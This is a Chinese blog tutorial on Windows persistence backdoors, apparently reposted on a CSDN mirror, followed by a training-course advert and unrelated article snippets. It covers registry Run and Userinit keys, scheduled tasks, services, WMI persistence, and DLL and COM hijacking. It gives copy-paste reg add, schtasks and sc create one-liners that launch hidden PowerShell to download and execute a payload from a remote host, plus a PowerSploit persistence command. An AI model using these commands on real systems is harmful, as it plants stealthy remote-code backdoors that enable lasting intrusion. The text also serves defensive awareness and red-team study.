从入门到精通:Windows系统权限维持技术深度剖析​,收藏这篇就够了!

文章目录
    • 0x01 注册表自启动
    • 0x02 组策略设置脚本启动
    • 0x03 计划任务
    • 0x04 服务自启动
    • 0x05 WMI后门
    • 0x06 dll劫持
    • 0x07 COM劫持
    • 0x08 远程控制
    • 0x09 结束语

在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者便如入无人之境。本文将对常见的window服务端自启动后门技术进行解析,知己知彼方能杜绝后门。

0x01 注册表自启动

通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。

常用的注册表启动键:

# Run键 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run # Winlogon\Userinit键 HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon 关键词:注册表启动键值,类似的键值很多,

使用以下命令可以一键实现无文件注册表后门:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" /f

Logon Scripts 后门

注册表路径:HKEY_CURRENT_USER\Environment\

创建字符串键值: UserInitMprLogonScript,键值设置为bat的绝对路径:c:\test.bat

userinit后门

在用户进行登陆时,winlogon运行指定的程序。根据官方文档,可以更改它的值来添加与删除程序。

利用USERINIT注册表键实现无文件后门:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] "Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""

0x02 组策略设置脚本启动

运行gpedit.msc进入本地组策略,通过Windows设置的“脚本(启动/关机)”项来说实现。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。

容易遇到的问题:脚本需全路径,如

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

0x03 计划任务

通过window系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。

使用以下命令可以一键实现:

schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.28.142:8888/logo.gif\"\"\"))\""

容易遇到的问题:cmd命令行执行单引号会被替换成双引号,故这里使用三个双引号替代。

计划脚本每 1 分钟运行一次。

0x04 服务自启动

通过服务设置自启动,结合powershell实现无文件后门。

使用以下命令可实现:

sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""sc description KeyName "Just For Test" //设置服务的描述字符串sc config Name start= auto //设置这个服务为自动启动net start Name //启动服务

成功创建了一个自启动服务。

0x05 WMI后门

在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的WMI。这里可以利用一个工具powersploit,下面用它的Persistence模块来示范一个简单的例子。

Import-Module .\Persistence\Persistence.psm1 $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' $UserOptions = New-UserPersistenceOption -Registry -AtLogon Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose

0x06 dll劫持

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。

比较常用的如LPK.dll的劫持:

win7及win7以上系统增加了KnownDLLs保护,需要在注册表:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls

下添加 “lpk.dll” 才能顺利劫持:

0x07 COM劫持

利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。这种方法可以绕过Autoruns对启动项的检测。

0x08 远程控制

远控木马是一种恶意程序,其中包括在目标计算机上用于管理控制的后门。远程访问木马通常与用户请求的程序(如游戏程序)一起,是一种看不见的下载,或作为电子邮件附件发送。一旦主机系统被攻破,入侵者可以利用它来向其他易受感染的计算机分发远程访问木马,从而建立僵尸网络。

一般分为客户端和服务端,如:灰鸽子、上兴远控、梦想时代、QuasarRAT等。

0x09 结束语

未知攻焉知防,本文分享了几种Window下的自启动权限维持技术。管理员在平时运维过程应当保持警惕,掌握一定的入侵排查技巧,及时进行系统补丁更新,定期对服务器安全检查,才能有效地预防后门。

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1159851.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

黑客最常见的10攻击手段及防御方法!每一种都经典且致命!小白入门网络攻防必看!

黑客最常见的10攻击手段及防御方法!每一种都经典且致命!小白入门网络攻防必看! XSS跨站脚本攻击 相关研究表明,跨站脚本攻击大约占据了所有攻击的40%,是最为常见的一类网络攻击。但尽管最为常见,大部分跨…

将QtNodes添加到Qt项目中

文章目录背景和思路步骤背景和思路 最近想开发一个基于Node编辑的SOMEIP编辑器。因此需要将QtNodes项目引入到自己的项目中。 思路是将QtNodes作为submodule添加到自己git仓库中。 步骤 将QtNodes作为submodule加入到git仓库。下面指令将QtNodes引入到自己项目的“3rdparty/…

python基于vue的养老院服务推荐系统的设计与实现django flask pycharm

目录摘要开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!摘要 随着老龄化社会的发展,养老院服务需求日益增长,如何高效匹配老年人的需求与养老院资源成为关键问题。基…

python基于vue的医院体检预约信息管理系统django flask pycharm

目录 项目概述技术架构核心功能技术亮点应用价值 开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式! 项目概述 基于Python的医院体检预约信息管理系统采用前后端分离架构,后端使用…

python基于vue的医院门诊处方管理系统django flask pycharm

目录医院门诊处方管理系统摘要开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!医院门诊处方管理系统摘要 该系统基于Python语言,采用Vue.js前端框架与Django/Flask后端框架开发&…

数字员工是什么?AI销冠系统与AI提效软件系统的应用价值如何?

数字员工作为现代企业转型的重要工具,正在深刻改变传统的业务流程。通过引入AI销冠系统,企业能够自动化处理重复性任务,从而在节省人力成本的同时提升工作效率。这一系统不仅能够高效管理客户数据,还能实时分析市场变化&#xff0…

亲测好用!8个AI论文平台测评,研究生开题报告全攻略

亲测好用!8个AI论文平台测评,研究生开题报告全攻略 学术写作新选择:AI论文平台测评全解析 在当前科研环境日益激烈的背景下,研究生群体在撰写开题报告、论文初稿及修改过程中,常常面临时间紧张、思路混乱、格式不规范等…

《算法安全自评估报告》的填报与实操(附模板)

想要自己备案的企业应该都知道在互联网信息服务备案系统中,整个流程分为三部分:主体信息→备案信息→产品及功能信息。 简单来说就是企业主体信息备案、算法信息备案和产品信息备案。其中算法信息的备案难度是整个备案流程里面中最大的,而《…

《自然·通讯》:纳米TiC复合粉末如何赋予3D打印CoCrNi合金超常低温韧性?

01前沿摘要在极端低温环境下,金属材料往往面临强度与韧性难以兼得的困境。尤其是在航空航天、能源存储、深空探测等领域,材料在液氮温度(约 -196℃)下的力学性能直接关系到设备的安全与可靠。近日,一项来自华东理工大…

Jasminum插件完整教程:3步实现中文文献元数据智能管理

Jasminum插件完整教程:3步实现中文文献元数据智能管理 【免费下载链接】jasminum A Zotero add-on to retrive CNKI meta data. 一个简单的Zotero 插件,用于识别中文元数据 项目地址: https://gitcode.com/gh_mirrors/ja/jasminum Jasminum是一个…

救命神器2026 AI论文工具TOP9:本科生毕业论文救星

救命神器2026 AI论文工具TOP9:本科生毕业论文救星 2026年AI论文工具测评:为何需要一份权威榜单? 随着人工智能技术的不断进步,AI论文工具已经成为本科生撰写毕业论文的重要辅助工具。然而,面对市场上琳琅满目的产品&am…

吐血推荐8个AI论文软件,研究生轻松搞定毕业论文!

吐血推荐8个AI论文软件,研究生轻松搞定毕业论文! AI 工具如何让论文写作不再“难上加难”? 在研究生阶段,论文写作是每一位学生必须面对的挑战。无论是开题报告、文献综述,还是最终的毕业论文,都需要大量的…

ue 蓝图定义字符串数组

定义字符串类型,在右边的detals 中右边下拉,选择数组,然后变成字符串数组。

IDEA的Debug(条件与异常调试)

1:条件调试2:异常调试

眼科医生反复强调的防控方法,居家训练就能落地

近年来,儿童青少年近视发生率呈逐年上升趋势,高度近视的低龄化问题更是引发眼科医生的广泛关注。很多家长在面对孩子视力下降时手足无措,要么盲目跟风购买护眼产品,要么寄希望于各类复杂的训练课程,却忽略了眼科医生反…

AMESim-Simulink热泵空调系统联合仿真模型PID和模糊控制,电子膨胀阀开度采用PI...

AMESim-Simulink热泵空调系统联合仿真模型PID和模糊控制,电子膨胀阀开度采用PID控制 注:确保在使用联合仿真之前已经安装并配置了适当的接口和工具#模型热泵空调系统的控制逻辑直接决定能效和舒适度体验。最近在搭建AMESim-Simulink联合仿真模型时&#…

Shapiro-Wilk检验是另一种常用的正态性检验方法

下面内容摘录自《用R探索医药数据科学》专栏文章的部分内容(原文5296字)。 2篇3章4节:认识正态分布与正态性检验_正态性检验渐 进显著性(双侧)-CSDN博客 正态分布是概率论和统计学中极其重要的概念之一。自从德国数学家卡尔高斯在天文学研究…

AD822ARZ-REEL7,具有真单电源供电能力的低功耗 FET 输入运算放大器

型号介绍今天我要向大家介绍的是 Analog Devices 的一款放大器——AD822ARZ-REEL7。 它具备真正的单电源供电能力,输入电压范围可扩展至负电源轨以下,使AD822在单电源模式下能够处理低于地电位的输入信号。输出电压摆幅可接近每个电源轨10 mV以内&#x…

【Python工具】不仅仅是翻译:如何用AI大模型实现图片文字的“无痕替换”?

作者:林焱(专注RPA与自动化流程定制)一、 传统图像翻译的“死穴”在开发自动化工具的过程中,我经常接到电商客户的需求:“能不能帮我写个脚本,把这1000张英文海报自动改成中文?”对于技术人员来…